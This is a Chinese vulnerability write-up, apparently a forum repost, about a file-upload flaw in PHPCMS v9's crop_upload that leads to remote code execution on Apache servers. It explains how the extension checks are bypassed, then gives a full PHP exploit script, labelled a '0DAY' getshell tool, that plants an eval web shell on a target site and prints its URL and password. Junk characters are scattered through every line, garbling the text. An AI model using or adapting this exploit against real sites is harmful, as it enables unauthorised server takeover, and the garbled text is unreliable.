漏洞类型: 文件上传导致任意代码执行
# s' E( C$ [& Z, m; l: u- Z; a
4 q5 g7 i( y$ r# K0 m简要描述:
0 S J" ^. b% e% G& C& N1 h3 \! E1 y+ k' X4 A7 z: w5 y: X" R
phpcms v9 getshell (apache)/ k4 k9 O' b0 E
详细说明:
. ?( A# ]" t' W' J
+ O5 o- s* r5 f; q/ y% r, F漏洞文件:phpcms\modules\attachment\attachments.php& n* d: w [4 I% N/ M: e
e' M ?& M" C9 y) x" d3 F. Bpublic function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
H, g4 ^* o; g2 I t后缀检测:phpcms\modules\attachment\functions\global.func.php9 N. S( e0 s2 K3 C
+ {, I K' Q2 o3 q
' r. S1 p( f7 ^5 i; I
3 a) K q/ A' I/ i/ V8 Z) T5 Mfunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } 0 k* k. ?0 R$ z
- Y# y7 Y2 c7 \. d" o0 X关键函数:
2 @7 u- b3 U# x6 [
* ?4 `8 d% T( S) e j
* ]3 q( |' W, ^9 w' @, Q2 o% D
3 z2 C* @* S7 O8 [; D+ |function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
1 z5 j. C; @" I6 |1 Y$ |1 t" F8 K3 m+ [
Fileext函数是对文件后缀名的提取。
. P. j! [# `% E( h$ l根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php& [" {8 Z" w. G8 r0 D! a. s2 w
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。+ {5 t0 ^5 u" G" o/ W# t
我们回到public function crop_upload() 函数中1 p5 i. P0 b' ]; c3 m" q& D z9 B
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();9 C: J ?" D% D* @ S3 m; Z0 a) ~
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
4 h7 e/ v" V( S) y$ n- P这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
$ X8 Q" N+ W8 U# }* L2 ^+ D经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。( f( b: F# k5 `
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
4 \& V1 l' B7 h* D. n# d( z看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。2 H; Q$ V. @) g8 W+ a: X) D: f) o5 o
漏洞证明:% E7 b$ E% T. h& _
8 E7 a4 K& k2 e9 B% u- K
exp:8 L2 h: ~. C3 f$ w
) Y& [ `2 F" R, F# {7 L9 i<?php/ K+ ?( [3 v' V& d! Z
error_reporting(E_ERROR);
9 c/ V" K: ?$ a& sset_time_limit(0);$ M F- u, d5 Z3 W5 b1 E
$pass="ln";6 d1 Y5 Z4 A! H# S/ Y
print_r(', q1 o$ C0 i5 K( G
+---------------------------------------------------------------------------+% s; |% o2 C8 W5 o; @: \) r6 b1 f
PHPCms V9 GETSHELL 0DAY : M" N0 F! Y: o& ~- i3 c. c
code by L.N.
9 _/ b4 V( l# ?( T& f5 n0 R; E. K% a! R
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net+ x" J; S1 u) A0 Y% R) U
+---------------------------------------------------------------------------+$ \/ U! D( X, ]
');% v0 n9 x+ H- f- T2 E. y ^
if ($argc < 2) {% X5 Z% Q+ j% G% \
print_r('
/ P7 ~& }$ ?& L- g0 M( X+---------------------------------------------------------------------------+
9 _- O* I1 l6 jUsage: php '.$argv[0].' url path) j; t: w/ h A9 M) u9 _
$ ]0 U8 H# P; R" h; E k
Example:# w* `) b+ n, q! i4 U
1.php '.$argv[0].' lanu.sinaapp.com
$ i2 L {. X! K2 ]( \2.php '.$argv[0].' lanu.sinaapp.com /phpcms
e# J8 l8 U7 X1 P2 _6 k+---------------------------------------------------------------------------+
- Q3 j8 k" P d5 m( T');8 M* z g" w$ i$ N# |2 c
exit;! u3 e! M/ g0 y
}
4 e8 W8 I" V7 j- H/ a
8 g7 C5 a0 s- r$url = $argv[1];+ ]0 Y8 ~- b+ M' P7 @& e
$path = $argv[2];
9 F& l/ T" J* A: V! U3 C0 A8 }$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
+ X) x% L. y4 P' N' b* u$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
. X" w. U1 _) Cif($ret=Create_dir($url,$path))3 R5 K0 c: g5 H9 @' Y
{! ?& O, g; J8 d; |) G) O
//echo $ret;' {( S- k! E y9 y/ @, R
$pattern = "|Server:[^,]+?|U";' j8 M( t0 c- F2 m0 ~* K- E
preg_match_all($pattern, $ret, $matches);, \, u4 E! N- q+ @6 [/ r5 d4 k
if($matches[0][0])! ^/ b* a2 E) o) e F; c
{/ N7 U' H7 O- J
if(strpos($matches[0][0],'Apache') == false)
# C. q2 V3 B3 O1 j' v{
4 T! z# s6 A4 L4 x4 C' Q9 Kecho "\n亲!此网站不是apache的网站。\n";exit;. U; Q: ~, Y0 k/ C8 k* g+ M
}0 A+ K/ G- o1 w8 Q7 t) Y6 F" U* U9 ^% I
}
2 k$ E& W4 [- o3 q8 M$ret = GetShell($url,$phpshell,$path,$file);- i# N% u- C$ k+ x1 _$ q
$pattern = "|http:\/\/[^,]+?\.,?|U";0 |* x! r1 z- [. M9 T
preg_match_all($pattern, $ret, $matches);; J) y" O2 a9 C# e
if($matches[0][0])
T7 A2 R9 [, I r X+ E/ l) e{
5 U) `& _1 s! ^* C- g! A) Y' Lecho "\n".'密码为: '.$pass."\n";3 Y9 H; ] V) ^/ V. U+ E
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
" U7 p, {/ x3 `8 c3 j0 c2 o}
$ Q2 C- G3 A- B( @5 Y! g4 celse
1 X! L7 @1 t, j{& r* Y" L' g* e( S
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";9 O; f6 L- `8 c6 L( C ` ?/ T3 o4 m( J
preg_match_all($pattern, $ret, $matches);% ?/ Y# D2 d* `3 A: V
if($matches[0][0])$ P4 X6 E1 k. i
{) [/ V0 w1 e) o7 S# v
echo "\n".'密码为: '.$pass."\n"; F/ B, F! t2 Y2 O( P+ O
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;+ @# P+ w, ?. C: G5 n
}
0 ~+ l- m3 y# G0 d$ N1 _! O7 }else
2 x) ]/ u, K: R7 |6 k. [5 O& U{- i* n) t) c4 U3 n
echo "\r\n没得到!\n";exit;4 \- w; H6 f8 v6 ]) i
}+ a5 l0 h `; |! ?
}3 _. r, Q% ?* D! a1 h2 B
}* W$ g, p1 C3 y9 L
/ D# p8 u# n# G* z. g0 s' b: ffunction GetShell($url,$shell,$path,$js)% c+ n* |% f d4 _) K
{0 _! m K% ?1 @$ e* a
$content =$shell;
" B6 [$ W& X5 }- j* g2 @+ u$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
0 ]" o9 Q: U5 v: E2 l" h- p$data .= "Host: ".$url."\r\n";; @2 T! U' }0 j7 w0 N D* p( Q
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";. D `# `" {, x7 G3 |
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
) w! J" N' K( k5 S5 ]$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
% F9 ]5 f9 H5 i/ H, j1 P# }/ c) ~$data .= "Connection: close\r\n";! }8 S3 V3 O! a8 l9 M
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
8 ~5 M) a2 @- K& N$data .= $content."\r\n";
) l# p4 A5 r+ N- \* W- [0 {$ock=fsockopen($url,80);; Q9 O6 F9 E* G" N9 s% p
if (!$ock)
3 i" i+ |5 i0 F! x. ^& w{
0 d! V$ f8 ~- s7 uecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
( _$ w. G. e. @4 I2 a( F, [9 y. G. r}* \) c0 ]7 j5 r6 _! @3 Y
else
: [$ s5 F; g( v{8 V8 O `" r+ v2 E
fwrite($ock,$data);" a* L2 _4 j! U
$resp = '';
* t3 C G: D; \' P4 ?) N' Zwhile (!feof($ock))2 y( u1 o% E2 ~; m4 {
{
" J3 T8 `! R% E, [8 R$resp.=fread($ock, 1024);
3 B5 g9 V6 p% o7 C2 g}
: N1 z+ I. o# r" n% F4 O/ Vreturn $resp;
. I! P6 h" U6 m3 Q9 y}
) ^% \0 a* T& y8 k; k! m, R}
# {0 [3 n. t. e5 K- T, z. S4 r4 q0 ?' z6 ? s8 c1 l
function Create_dir($url,$path='')
( n8 U C' w U; m7 [1 ?{. V+ C0 d- O1 c! U# s
$content ='I love you';7 R5 ]% A- N( l* a; q* E5 W% e
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
3 G% z( Z# T q5 K1 ~: R2 E$data .= "Host: ".$url."\r\n";9 E3 W5 o$ X3 i) t. n' w) x2 N
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";- q$ j7 U4 E0 x$ h x
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";" k$ l- |6 w( @2 G* ?# X1 v
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";4 Q9 D" x4 s( S7 M1 p9 k
$data .= "Connection: close\r\n";
5 t* D1 g J8 P- C, q$data .= "Content-Length: ".strlen($content)."\r\n\r\n";" P8 f/ k& ~# f7 v
$data .= $content."\r\n";* ~6 d( L* y( u, _1 G
$ock=fsockopen($url,80);+ |3 `# Z1 [. S2 q* x
if (!$ock): n: \ y8 t- }$ T0 h+ U( X1 u7 }1 @2 J
{9 f6 f* V' H, y
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;) L/ ?. V9 l2 D% o& n Y
}( }% ^: `* s5 j: g" m) G4 E+ K
fwrite($ock,$data);7 s6 m7 b2 C1 F5 O f# P6 V" e) X
$resp = '';2 q4 Z' h8 i" f7 v6 z
while (!feof($ock))
/ \) E5 n F( S5 y: M: X0 f$ @{
8 v8 G7 a y7 K8 l, q$resp.=fread($ock, 1024);5 _6 r+ N5 ]* W; M( d2 g& U
}+ F9 |% ~5 [+ ?' J/ J
return $resp;
5 y4 f7 d4 P. [: z$ _& l- F6 J}
; w0 u4 z3 t/ D5 N) d7 m?>
3 V- C8 W$ p* }# J 3 T- W& m B; T+ [" O6 Y5 T
修复方案:
# f7 B5 a3 V: ?, _- p% s
) b$ `1 m5 v$ Y5 V5 Q' ?' p. f过滤过滤再过滤+ J0 ?- P9 {' H2 v C! T0 c
7 n+ q" t! w9 ~7 Q/ ` |